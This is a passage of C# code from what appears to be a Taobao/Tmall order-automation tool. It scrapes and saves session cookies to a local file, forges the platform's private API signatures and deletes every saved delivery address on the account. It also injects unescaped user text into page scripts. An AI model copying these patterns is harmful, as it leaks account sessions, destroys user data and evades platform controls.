BaseRegex.GetMatchRegexString(ref html, "fromid=cntaobao([\\s\\S]+?)\""); + } + }); + } + if (url.Contains("buy.taobao.com/auction/buy_now.jhtml"))//检测在上家拍的收货人信息与当前订单是否一致 + { + cefWebBrowser1.GetSourceAsync().ContinueWith(x => + { + var html = x.Result; + string fullName = BaseRegex.GetStringJson(ref html, "fullName"); + string mobile = BaseRegex.GetStringJson(ref html, "mobile"); + string provinceName = BaseRegex.GetStringJson(ref html, "provinceName"); + string cityName = BaseRegex.GetStringJson(ref html, "cityName"); + string townName = BaseRegex.GetStringJson(ref html, "townName"); + if (!string.IsNullOrEmpty(fullName) && fullName != Order.name || !string.IsNullOrEmpty(mobile) && mobile != Order.mobile + || !string.IsNullOrEmpty(Order.address) && !string.IsNullOrEmpty(provinceName) && !string.IsNullOrEmpty(cityName) && + !string.IsNullOrEmpty(townName) && !Order.address.Contains(provinceName) && !Order.address.Contains(cityName) && !Order.address.Contains(townName)) + { + MessageBox.Show("收货人地址不匹配,请检查", "提示"); + } + + }); + } + + #region 淘宝联盟 + if (url.Contains("uland.taobao.com/coupon/edetail") && !isTgRate) + { + Thread.Sleep(1000); + GetRedBag(); + + isTgRate = true;//已经加载推广页面 + + } + #endregion + if (url.Contains("item.taobao.com/item.htm") && PhonePay && !isPhoneUrl) + { + cefWebBrowser1.Load(phonePayUrl); + isPhoneUrl = true; + } + + if (loginEd && !isTgRate) + return; + var cookieManager = Cef.GetGlobalCookieManager(); + //CookieVisitor visitor = new CookieVisitor(); + //visitor.SendCookie += visitor_SendCookie; + //cookieManager.VisitAllCookies(visitor); + + + if (url.Contains("buyertrade.taobao.com/trade/batch_pay_success.htm") || url.Contains("https://buyertrade.taobao.com/trade/batch_pay_success.htm") || url.Contains("https://buyertrade.taobao.com/trade/pay_success.htm") || url.Contains("https://buy.tmall.com/order/paySuccess.htm") + || url.Contains("https://cashiergtj.alipay.com/standard/result/payResult.htm") || url.Contains("https://cmspromo.alipay.com/beitoukj/tripSpinLot.htm") + || url.Contains("cashierem14.alipay.com/standard/result/payResult.htm") + || url.Contains("market.m.taobao.com/apps/market/trade/index.html"))//支付成功页面 + { + //if (GetOk) + // return; + //GetOk = true; + //new Thread(UpdateToServer).Start(); + //if (Order.buy_type == 1) + //{ + // Order.status = "淘宝订单生成成功"; + // Express.use_times++; + // PayGroupOrder.ExpressTempList.Add(Express); + // PayGroupOrder.OrderTempList.Add(Order); + // MessageBox.Show("淘宝订单生成成功", "提示"); + //} + //if (Order.buy_type == 2) + //{ + // Order.status = "等待上家发货"; + // PayGroupOrder.OrderBuyTempList.Add(Order); + // MessageBox.Show("等待上家发货", "提示"); + //} + //try + //{ + // if (!BaseClass.IsContinueBuy) + // { + // Hide(); + // } + + //} + //catch + //{ + //} + //new Thread(GetClose).Start(); + } + + string loginOkUrl = "https://i.taobao.com/my_taobao.htm"; + if ((url.Contains(loginOkUrl) && url.IndexOf(loginOkUrl) == 0 || url.Contains("main.m.taobao.com/olist/index.html")) && ShowType == 1) //登录成功 + { + new Thread(GetLoginUserName).Start(); + loginEd = true; + try + { + if (!LoginOk) + { + LoginOk = true; + if (InvokeRequired) + { + Invoke(new Action(() => + { + Hide(); + })); + } + else + { + Hide(); + } + } + } + catch (Exception ex) + { + } + } + #region 天猫 + if (url.Contains("detail.tmall.com/item.htm?id=") || url.Contains("trade.tmall.com/detail/orderDetail.htm")) + { + new Thread(GetTmUserNameCookies).Start(); + } + #endregion + + if (ShowType == 7 && !isLoad) + { + //cefWebBrowser1.Load("https://i.taobao.com/my_taobao.htm"); + WebUrl = "https://i.taobao.com/my_taobao.htm"; + new Thread(SetUrlThread).Start(); + isLoad = true; + if (!string.IsNullOrEmpty(txtTbCookies.Text)) + { + new Thread(GetLoginUserName).Start(); + } + else + { + MessageBox.Show("请先设置保存cookie的路径,然后点击强制登录买手", "提示"); + } + + return; + } + + string loginOKSellerUrl = "https://myseller.taobao.com/home.htm";//淘宝卖家首页 + if ((url.Contains(loginOKSellerUrl) && url.IndexOf(loginOKSellerUrl) == 0)) //登录成功 + { + new Thread(GetLoginSellerUserName).Start(); + loginEd = true; + try + { + if (!LoginOk) + { + LoginOk = true; + Hide(); + } + } + catch + { + } + } + if (url.Contains("https://buy.taobao.com/auction/buy_now.jhtml") || url.Contains("https://buy.tmall.com/order/confirm_order.htm")) + { + if (jsEd) + return; + jsEd = true; + SetJs(url); + } + if (url.Contains("https://trade.taobao.com/trade/itemlist/list_sold_items.htm")) + { + new Thread(getDeliverGoods).Start(); + } + if (url.Contains("https://buy.m.tmall.com/"))//当切换到天猫时,判断收货人信息与当前订单收货人信息是否一致 + { + cefWebBrowser1.GetSourceAsync().ContinueWith(x => + { + var html = x.Result; + string address = BaseRegex.GetMatchRegexString(ref html, "([\\S\\s\\W\\w]+?)"); + if (!string.IsNullOrEmpty(address)) + { + address = address.Trim(); + } + if (Order.address != address) + { + MessageBox.Show("请检查收货人信息与当前订单是否一致", "提示"); + } + }); + } + } + + #region 禁用alert事件 + private void StopAlertEvent() + { + string js = "window.alert=function(){return false;};"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(js); + + js = "window.confirm = function(){return false;}"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(js); + } + #endregion + + public string searchSameProName = ""; + /// + /// 搜淘宝同款 + /// + public void SearchTbSame() + { + if (string.IsNullOrEmpty(searchSameProName)) + { + return; + } + string code = "document.getElementsByClassName('search-combobox-input')[0].value='" + searchSameProName + "'"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(code); + Thread.Sleep(100); + code = "document.getElementsByClassName('btn-search tb-bg')[0].click();"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(code); + } + /// + /// 淘宝联盟领红包 + /// + public void GetRedBag() + { + string code = "document.getElementsByClassName('btn-name')[0].click();"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(code); + } + + private bool loginEd = false; + public bool jsEd = false; + //public TaoBaoAddress address = new TaoBaoAddress(); + + public void getDeliverGoods() + { + return; + string url = "https://trade.taobao.com/trade/itemlist/list_sold_items.htm"; + string htmlxt = GetPostTaobaoHtml.UploadTaobao(url, url, true); + string pattern = @"seller_id=([\d]+?)&"; + var mc = BaseRegex.GetMatchRegex(htmlxt, pattern); + if (mc == null || mc.Count <= 0) return; + string seller_id = mc[0].Groups[1].ToString(); + url = "https://wuliu.taobao.com/user/order_detail_new.htm?trade_id=149970323690424112&seller_id=33632770"; + htmlxt = GetPostTaobaoHtml.UploadTaobao(url, url, true); + pattern = @"物流编号:\s*([\s\S]+?)"; + //物流编号 + string ExpressionNum = BaseRegex.GetMatchRegexString(ref htmlxt, pattern); + pattern = @"([\d]+?)"; + //运单号码 + string expressionNo = BaseRegex.GetMatchRegexString(ref htmlxt, pattern); + } + + #region 获取天猫cookies + /// + /// 获取天猫cookies + /// + private void GetTmUserNameCookies() + { + Thread.Sleep(2000); + string url = "https://i.taobao.com/my_taobao.htm"; + string refere = "https://login.taobao.com/member/login.jhtml"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + string name = BaseRegex.GetMatchRegexString(ref html, @"[\s]*[\(]([\w]+)[\)]"); + //string name = BaseRegex.GetMatchRegexString(ref html, @"\\""nickname\\"":\\""([^']+?)\\"""); + if (string.IsNullOrEmpty(name)) + return; + //Thread.Sleep(2000); + if (!BaseClass.CookiesAll.ContainsKey("tmall.com")) + return; + + var tmCookies = BaseClass.CookiesAllString["tmall.com"]; + //if (SetCookiesUserInfo.TMCookies.ContainsKey(name)) + //{ + // SetCookiesUserInfo.TMCookies[name] = tmCookies; + //} + //else + //{ + // SetCookiesUserInfo.TMCookies.Add(name, tmCookies); + //} + + + } + #endregion + + /// + /// 登录缓存手机号码 + /// + private void GetLoginUserName() + { + if (ShowType == 7 && string.IsNullOrEmpty(txtTbCookies.Text)) + { + MessageBox.Show("请先设置保存cookie的路径,然后点击保存", "提示"); + return; + } + Thread.Sleep(2000); + string url = "https://i.taobao.com/my_taobao.htm"; + string refere = "https://login.taobao.com/member/login.jhtml"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + string name = BaseRegex.GetMatchRegexString(ref html, @"[\s]*[\(]([\w]+)[\)]"); + //string name = BaseRegex.GetMatchRegexString(ref html, @"\\""nickname\\"":\\""([^']+?)\\"""); + if (string.IsNullOrEmpty(name)) + return; + //Thread.Sleep(2000); + if (!BaseClass.CookiesAll.ContainsKey("taobao.com")) + return; + + if (ShowType != 7) + { + //SetCookiesUserInfo s = new SetCookiesUserInfo(); + //s.Add(name, BaseClass.CookiesAllString["taobao.com"], 1, isSlide); + ////s.Addtmail(name, BaseClass.CookiesAllString["tmall.com"], 1); + //SaveTbAccout(name); + } + else + { + //将通过旺旺获取到的cookies存入到本地 + string content = BaseClass.CookiesAllString["taobao.com"]; + //string path = "d:\\project\\work\\拼单王\\20181030\\20181112\\bin"; + string path = txtTbCookies.Text; + path = path.Replace("findgoldcatexploder.exe", ""); + FileBase.WriteTxt(path + "temp\\TbCookies_temp", name, content, true, false); + //SetCookiesUserInfo s = new SetCookiesUserInfo(); + //s.Add(name, content, 1); + MessageBox.Show("登录成功", "提示"); + //Process.GetCurrentProcess().Kill(); + } + + } + /// + /// 添加卖家cookie + /// + private void GetLoginSellerUserName() + { + Thread.Sleep(2000); + if (!BaseClass.CookiesAll.ContainsKey("taobao.com")) + return; + string cookies = BaseClass.CookiesAllString["taobao.com"]; + string name = BaseRegex.GetMatchRegexString(ref cookies, "sn=([^;]+?);"); + if (string.IsNullOrEmpty(name)) + return; + name = GetHtml.UrlDecode(name); + //SetCookiesUserInfo s = new SetCookiesUserInfo(); + //s.Add(name, BaseClass.CookiesAllString["taobao.com"], 3); + } + + + public List cookies = new List(); + + /// + /// 加载完成时,重设cookies + /// + /// + private void visitor_SendCookie(CefSharp.Cookie obj) + { + cookies.Add(obj); + } + + public ProductCollectBase Pb; + + private void GetOrder() + { + #region 设置sku图 + SkuImg = PayGroupOrder.GetSkuImg(Order.product_id, Order.sku); + if (!string.IsNullOrEmpty(SkuImg)) + { + SetSkuImg(); + } + #endregion + //添加地址后,提交订单 + AddTaoBaoAddress(); + if (Order.buy_type == 2) + { + Mobile = Order.buy_mobile; + } + if (string.IsNullOrEmpty(PddUid)) + { + if (Id > 0) + { + //SetMessage("没有登录,请先登录"); + Thread.Sleep(2000); + //Invoke(new delegateClick(pdForm.LoginTbBuyerButton_Click), null, null); + } + return; + } + if (Id == 0) + return; + string url = "https://item.taobao.com/item.htm?id=" + Id; + + string refere = ""; + //string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + ProductCollectBase t = new ProductCollectBase(); + t.from_id = Id; + TaobaoMobileCollect mob = new TaobaoMobileCollect(t); + mob.Get(); + var pb = mob.Product; + long sku = 0; + decimal minPrice = int.MaxValue; + //Order.sku = "颜色分类:1【200只】"; + string skuBefor = Order.sku; + + for (int i = 0; !string.IsNullOrEmpty(skuBefor) && i < SignWordBase.Length; i++) + { + skuBefor = skuBefor.Replace(SignWordBase[i].ToString(), ""); + } + if (string.IsNullOrEmpty(skuBefor)) + skuBefor = ""; + skuBefor = skuBefor.Replace("(", "(").Replace(")", ")").ToLower(); + + + decimal noGroupPrice = 0; + decimal buyPrice = 0; + + bool hadSku = false; + //Skumaps.Clear(); + string[] tempSkuBeforList = skuBefor.Split(',');//处理混乱的sku + string[] skul = skuBefor.Split(':'); + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + for (int j = 0; !string.IsNullOrEmpty(pb.SkuMaps[i].name) && j < SignWordBase.Length; j++) + { + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace(SignWordBase[j].ToString(), ""); + } + Skumaps.Add(pb.SkuMaps[i]); + if (pb.SkuMaps[i].price < minPrice) + { + minPrice = pb.SkuMaps[i].price; + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + } + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace("(", "(").Replace(")", ")").ToLower(); + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace("\"", "").Replace(";", ""); + + //先精准匹配在模糊匹配 + #region 先精准匹配在模糊匹配 + + bool isMatch0 = true;//匹配标识1,默认匹配成功 + bool isMatch1 = false;//匹配标识2 匹配标识都为true时,则精准匹配 匹配成功,否则进行模糊匹配 + var skuArrx = pb.SkuMaps[i].name.Split(';');//多个规格;例如:颜色;尺寸 + if (skuArrx.Length > 0) + { + for (int k = 0; k < skuArrx.Length; k++) + { + string skus = skuArrx[k]; + if (string.IsNullOrEmpty(skus)) + { + continue; + } + string[] skuL = skus.Split(':'); + if (skuL.Length == 2 && skul.Length == 2) + { + if (skuL[1] == skul[0]) + { + isMatch0 = true; + } + if (skuL[1] == skul[1]) + { + isMatch1 = true; + } + } + + } + + if (isMatch0 && isMatch1)//精准匹配 匹配成功 + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + //SkuImg = pb.SkuMaps[i].pinduoduo_image; + SkuImg = pb.SkuMaps[i].prop_image; + hadSku = true; + break; + } + + } + + //单个规格例如只有颜色--英文冒号分割 + var skuAr = pb.SkuMaps[i].name.Split(':');//英文冒号分割 + if (skuAr.Length > 0) + { + if (skuAr.Length == skul.Length) + { + isMatch0 = true;//匹配标识1,默认匹配成功 + for (int k = 0; k < skuAr.Length; k++) + { + if (skuAr[k] != skul[k]) + { + isMatch0 = false; + break; + } + } + if (isMatch0)//精准匹配 匹配成功 + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + //SkuImg = pb.SkuMaps[i].pinduoduo_image; + hadSku = true; + break; + } + } + + } + #endregion + + + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(pb.SkuMaps[i].name) || pb.SkuMaps[i].name.Contains(skuBefor))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + string[] l = pb.SkuMaps[i].name.Split(';');//分号分割 + if (l.Length == 1) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(l[0]) && l[0].Contains(skuBefor))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + if (l.Length > 1) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(l[0]) && skuBefor.Contains(l[1]))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + + string[] skuArr = pb.SkuMaps[i].name.Split(':');//冒号分割 + if (skuArr.Length == 1) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(skuArr[0]) || skuArr[0].Contains(skuBefor))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + if (skuArr.Length > 1) + { + if (skuArr.Length == 3) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(skuArr[0]) || skuBefor.Contains(skuArr[1])) && skuBefor.Contains(skuArr[2])) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + else + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(skuArr[0]) && skuBefor.Contains(skuArr[1]))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + } + if (tempSkuBeforList.Length == 1) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (pb.SkuMaps[i].name.Contains(tempSkuBeforList[0]) || tempSkuBeforList[0].Contains(pb.SkuMaps[i].name))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + if (tempSkuBeforList.Length > 1) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (pb.SkuMaps[i].name.Contains(tempSkuBeforList[0]) && pb.SkuMaps[i].name.Contains(tempSkuBeforList[1]))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + + } + Pb = pb; + //Html = html; + Order.buy_sku = skuBefor; + //sku = 3788473278737; + //buyPrice = 29; + if (!hadSku && Order.buy_type == 2 && !string.IsNullOrEmpty(Order.sku) || Order.buy_type == 2 && string.IsNullOrEmpty(Order.sku) && pb.SkuMaps.Count > 1) + { + //if (!string.IsNullOrEmpty(tkRateUrl)) + //{ + // SetMessage("未匹配成功SKU,请手动下单,并将这个订单标记为不拍单

如果你确认没问题,可以点击这里下单,系统将尝试自动发货"); + //} + //else + //{ + // SetMessage("未匹配成功SKU,请手动下单,并将这个订单标记为不拍单

如果你确认没问题,可以点击这里下单,系统将尝试自动发货"); + //} + MessageBox.Show("未匹配成功sku,请手动下单", "提示"); + if (!string.IsNullOrEmpty(tkRateUrl)) + { + cefWebBrowser1.Load(tkRateUrl); + } + else + { + cefWebBrowser1.Load(WebUrl); + } + + return; + } + //Invoke(new delegateView(SetSku)); + try + { + PutToBuy(sku, noGroupPrice, buyPrice); + } + catch + { + } + + + + } + public void PutToBuy(long sku, decimal noGroupPrice, decimal buyPrice) + { + var pb = Pb; + //string html = Html; + if (string.IsNullOrEmpty(Mobile)) + Mobile = Order.mobile; + string mobile = BaseRegex.GetMatchRegexString(ref Mobile, @"(1[\d]{2}[- ]{0,1}[\d]{4}[- ]{0,1}[\d]{4})"); + if (string.IsNullOrEmpty(mobile)) + { + SetMessage("没有识别到手机号"); + return; + } + + //long stime = BaseClass.GetTime(DateTime.Now); + + + string urlstr = "https://buy.taobao.com/auction/buy_now.jhtml?spm=2013.1.20140002.d1.undefined"; + string datastr = "onekey=&gmtCreate=&checkCodeIds=&secStrNoCCode=&tb_token=5e13b43681fe1&item_url_refer=https%3A%2F%2Fbschina.taobao.com%2Fcategory-673031679.htm%3Fspm%3Da1z10.10426-c-s.w5001-14477384681.8.28824bb63K47lF%26mid%3Dw-702831136-0%26catName%3D%25C4%25D0%25D7%25B0%26catId%3D673031679%26orderType%3Dhotsell_desc%26v%3D1%26scene%3Dtaobao_shop&item_id=" + pb.from_id + "&item_id_num=" + pb.from_id + "&auction_type=b&from=item_detail&frm=undefined¤t_price=" + buyPrice + "&auto_post1=&quantity=" + Order.buy_count + "&skuId=" + sku + "&skuInfo=&buyer_from=undefined&chargeTypeId=&root_refer=undefined&source_time=1541671626768&ybhpss=undefined"; + string referstr = "https://item.taobao.com/item.htm?spm=a1z10.5-c-s.w4002-14477384761.13.36c858e69m8xer&id=" + pb.from_id + ""; + string htmlstr = GetPostTaobaoHtml.UploadTaobaoPost(urlstr, referstr, true, datastr); + + string tokenstr = BaseRegex.GetStringInput(ref htmlstr, "_tb_token_"); + + datastr = "onekey=&gmtCreate=&checkCodeIds=&secStrNoCCode=&tb_token=" + tokenstr + "&item_id=" + pb.from_id + "&item_id_num=" + pb.from_id + "&auction_type=b&from=item_detail&frm=undefined¤t_price=" + buyPrice + "&auto_post1=&quantity=" + Order.buy_count + "&skuId=" + sku + "&skuInfo=&buyer_from=undefined&chargeTypeId=&root_refer=undefined&source_time=1541671626768&ybhpss=undefined"; + + urlstr = "https://buy.taobao.com/auction/buy_now.jhtml"; + referstr = "https://item.taobao.com/item.htm?id=" + pb.from_id + ""; + htmlstr = GetPostTaobaoHtml.UploadTaobaoPost(urlstr, referstr, true, datastr); + cefWebBrowser1.GetBrowser().MainFrame.LoadStringForUrl(htmlstr, urlstr); + + //string urlx = "https://member1.taobao.com/member/fresh/deliver_address.htm"; + //string htmlxt = GetPostTaobaoHtml.UploadTaobao(urlx, urlx, true); + //string token = BaseRegex.GetStringInput(ref htmlxt, "_tb_token_"); + + //string url = "https://buy.taobao.com/auction/buy_now.jhtml"; + //string refere = ""; + //if (!string.IsNullOrEmpty(TaoKePid)) + //{ + // url = "https://item.taobao.com/item.htm?id=547819419303&ali_trackid=2:" + TaoKePid + ":" + + // BaseClass.GetTime(DateTime.Now.AddDays(-1)) + "_143_" + + // BaseClass.GetTime(DateTime.Now.AddDays(-105)) + ""; + //} + + //https://item.taobao.com/item.htm?id="+Order.product_id + //string upid = "557456349670"; + //sku = 3621772654966; + //Order.up_product_id = upid; + //Order.buy_count = 2; + //return; + //StringBuilder s = new StringBuilder(); + //s.Append("tb_token=" + token); + //s.Append("&item_id=" + Order.up_product_id); + //s.Append("&from=item_detail"); + //s.Append("&item_id_num=" + Order.up_product_id); + //s.Append("¤t_price=" + buyPrice); + //s.Append("&quantity=" + Order.buy_count); + //s.Append("&skuId=" + sku); + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, s.ToString()); + //try + //{ + // cefWebBrowser1.GetBrowser().MainFrame.LoadStringForUrl(html, url); + //} + //catch (Exception) + //{ + // MessageBox.Show("提交淘宝订单失败,请检查此宝贝是否下架", "提示"); + // return; + //} + + } + + /// + /// 设置规格 + /// + public void SetSkuImg() + { + try + { + Invoke(new delegateView(LoadSkuImg)); + } + catch + { + + } + } + + public void LoadSkuImg() + { + this.pictureBoxSku.Load("https:" + SkuImg);//规格图片 + } + + public void SetJs(string url) + { + string content = leaveMessageTextBoxX.Text.Trim(); + string code = "document.getElementsByClassName('text-area-input memo-input')[0].value='" + content + "';"; + try + { + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(code); + //cefWebBrowser1.Load(url); + } + catch + { + } + } + /// + /// 淘宝签名算法 + /// + /// + /// + /// + public string GetSign(string h5Tk, string data, out long time) + { + string appkey = "12574478"; + System.DateTime starttime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); // 当地时区 + DateTime datetime = DateTime.Now; + time = (long)(datetime - starttime).TotalMilliseconds; // 相差毫秒数 + string code = h5Tk + "&" + time + "&" + appkey + "&" + data; + return Md5Base.GetMd5(code).ToLower(); + } + + + public void AddTaoBaoAddress() + { + long time; + string data = "{\"isSec\":0}"; + string sign = GetSign("", data, out time); + string url = "https://api.m.taobao.com/h5/mtop.user.getusersimple/1.0/?appKey=12574478&t=" + time + "&sign=" + sign + + "&api=mtop.user.getUserSimple&v=1.0&H5Request=true&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=" + GetHtml.UrlEncodeUtf8(data); + //获取用户的所有地址编号 + string htmlxt = GetPostTaobaoHtml.UploadTaobao(url, url, true); + if (string.IsNullOrEmpty(htmlxt) || !htmlxt.Contains("_m_h5_tk"))//没有登录获取token获取失败 + { + return; + } + string h5Tkt = BaseRegex.GetMatchRegexString(ref htmlxt, "_m_h5_tk=([^_]+?)_"); + string addCookies = BaseRegex.GetMatchRegexString(ref htmlxt, "(_m_h5_tk=[^;]+?;)") + " " + + BaseRegex.GetMatchRegexString(ref htmlxt, "(_m_h5_tk_enc=[^;]+?;)"); + string cookies = GetPostTaobaoHtml.GetCookies(url, ""); + cookies = BaseRegex.Relpace(cookies, "(_m_h5_tk=[^;]+?;)", ""); + cookies = BaseRegex.Relpace(cookies, "(_m_h5_tk_enc=[^;]+?;)", ""); + cookies += addCookies; + data = "{\"addrOption\":\"0\",\"sortType\":\"0\"}"; + sign = GetSign(h5Tkt, data, out time); + url = "https://h5api.m.taobao.com/h5/com.taobao.mtop.deliver.getaddresslist/2.0/?jsv=2.4.8&appKey=12574478&t=" + time + "&sign=" + sign + "&api=com.taobao.mtop.deliver.getAddressList&v=2.0&ecode=1&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=%7B%22addrOption%22%3A%220%22%2C%22sortType%22%3A%220%22%7D"; + //获取到所有地址 + htmlxt = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, "", cookies); + + htmlxt = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, "", cookies); + //string pattern = @"\\""deliverId\\"":\\""([\d]+?)\\"""; + string pattern = @"""deliverId"":""([\d]+?)"""; + var m = BaseRegex.GetMatchRegex(htmlxt, pattern); + List Ids = new List(); + for (int i = 0; m != null && i < m.Count; i++) + { + string id = m[i].Groups[1].Value; + if (!Ids.Contains(id)) + { + Ids.Add(id); + } + } + //删除地址 + for (int j = 0; j < Ids.Count; j++) + { + StringBuilder bufferdelete = new StringBuilder(); + bufferdelete.AppendFormat("jsv={0}", "2.4.2"); + bufferdelete.AppendFormat("&appKey={0}", 12574478); + bufferdelete.AppendFormat("&api={0}", "mtop.taobao.mbis.deleteDeliverAddressById"); + bufferdelete.AppendFormat("&v={0}", "1.0"); + bufferdelete.AppendFormat("&ecode={0}", "1"); + bufferdelete.AppendFormat("&needLogin={0}", true); + bufferdelete.AppendFormat("&dataType={0}", "jsonp"); + bufferdelete.AppendFormat("&type={0}", "jsonp"); + bufferdelete.AppendFormat("&callback={0}", "mtopjsonp14"); + + data = "{\"deliverId\":" + Ids[j] + "}"; + sign = GetSign(h5Tkt, data, out time); + bufferdelete.AppendFormat("&sign={0}", sign); + bufferdelete.AppendFormat("&t={0}", time); + bufferdelete.AppendFormat("&data={0}", GetHtml.UrlEncodeUtf8(data)); + + url = "https://h5api.m.taobao.com/h5/mtop.taobao.mbis.deletedeliveraddressbyid/1.0/?" + bufferdelete.ToString(); + htmlxt = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://member1.taobao.com/member/fresh/deliver_address.htm", true, "", cookies); + } + + string addressstr = Order.address; + #region 匹配省市区镇 + string patternProv = @"([\w]+?省|[\w]+?自治区)"; + var mc = BaseRegex.GetMatchRegex(addressstr, patternProv); + string prov = string.Empty; + if (mc.Count > 0) + { + prov = mc[0].Groups[1].ToString(); + } + else if (addressstr.Contains("上海") | addressstr.Contains("北京") | addressstr.Contains("天津") | addressstr.Contains("重庆")) + { + patternProv = @"(上海|北京|天津|重庆)"; + mc = BaseRegex.GetMatchRegex(addressstr, patternProv); + prov = mc[0].Groups[1].ToString(); + } + if (string.IsNullOrEmpty(prov)) return; + addressstr = addressstr.Substring(addressstr.IndexOf(prov) + prov.Length); + //匹配市 + //string patternCity = @"(?[^市|^省|^县|^区]+?[市])"; + string patternCity = @"([^市|^省|^自治区|^县|^区]+?(市|自治州))"; + //mc = Regex.Matches(addressstr, patternCity, RegexOptions.IgnoreCase); + mc = BaseRegex.GetMatchRegex(addressstr, patternCity); + string city = ""; + if (mc.Count > 0) + { + city = mc[0].Groups[1].ToString(); + } + if (string.IsNullOrEmpty(city) && !string.IsNullOrEmpty(Order.address)) + { + string temoAddress = Order.address; + city = BaseRegex.GetMatchRegexString(ref temoAddress, "省([\\W\\w]+?市)"); + } + if (!string.IsNullOrEmpty(city)) + { + addressstr = addressstr.Substring(addressstr.IndexOf(city) + city.Length); + } + if (string.IsNullOrEmpty(city)) + { + MessageBox.Show("城市识别失败,请手动填写地址", "提示"); + return; + } + //匹配区 + string patternArea = @"([^县|^区|^省|^自治区|^自治县]+?[市|县|区|自治县])"; + //mc = Regex.Matches(addressstr, patternArea, RegexOptions.IgnoreCase); + mc = BaseRegex.GetMatchRegex(addressstr, patternArea); + string area = ""; + if (mc.Count > 0) + { + area = mc[0].Groups[1].ToString(); + } + addressstr = addressstr.Substring(addressstr.IndexOf(area) + area.Length); + //匹配镇 + //string patternTown = @"([^镇|^省|^自治区|^市|^县|^区]+?(镇|路|街道))"; + string patternTown = @"([^镇|^乡|^省|^自治区|^市|^县|^区|^团]+?(镇|乡|路|街道|团))"; + //mc = Regex.Matches(addressstr, patternTown, RegexOptions.IgnoreCase); + mc = BaseRegex.GetMatchRegex(addressstr, patternTown); + string town = ""; + if (mc.Count > 0) + { + town = mc[0].Groups[1].ToString(); + } + #endregion + + + + + + //获取省、市、县名称 + if (prov.Contains("自治区")) + { + if (prov.Contains("内蒙古")) + { + prov = "内蒙古"; + } + else + { + prov = prov.Substring(0, 2); + } + } + if (prov.Contains("省")) + { + prov = prov.Remove(prov.Length - 1, 1); + } + + //city = city == "" ? "" : city.Remove(city.Length - 1, 1); + //area = area == "" ? "" : area.Remove(area.Length - 1, 1); + + //定义省、市、县、区编号 + int provid = 0; + int cityid = 0; + int areaid = 0; + + //获取省的编号 + foreach (AddressBase item in AddressSetIni.AddressList) + { + if (item.Name.Equals(prov)) + { + provid = item.Id; + break; + } + } + if (provid == 0) + { + MessageBox.Show("省份识别失败,请手动填写地址", "提示"); + return; + } + + //获取市的编号 + var citys = AddressSetIni.Addresses[provid]; + AddressBase cityAddress = citys.Find(c => c != null && city.Contains(c.Name)); + if (cityAddress != null) + { + cityid = cityAddress.Id; + } + if (citys.Count > 0 && (city.Equals("上海") || city.Equals("北京") || city.Equals("天津") || city.Equals("重庆"))) + { + cityid = citys[0].Id; + } + if (cityid == 0) + { + 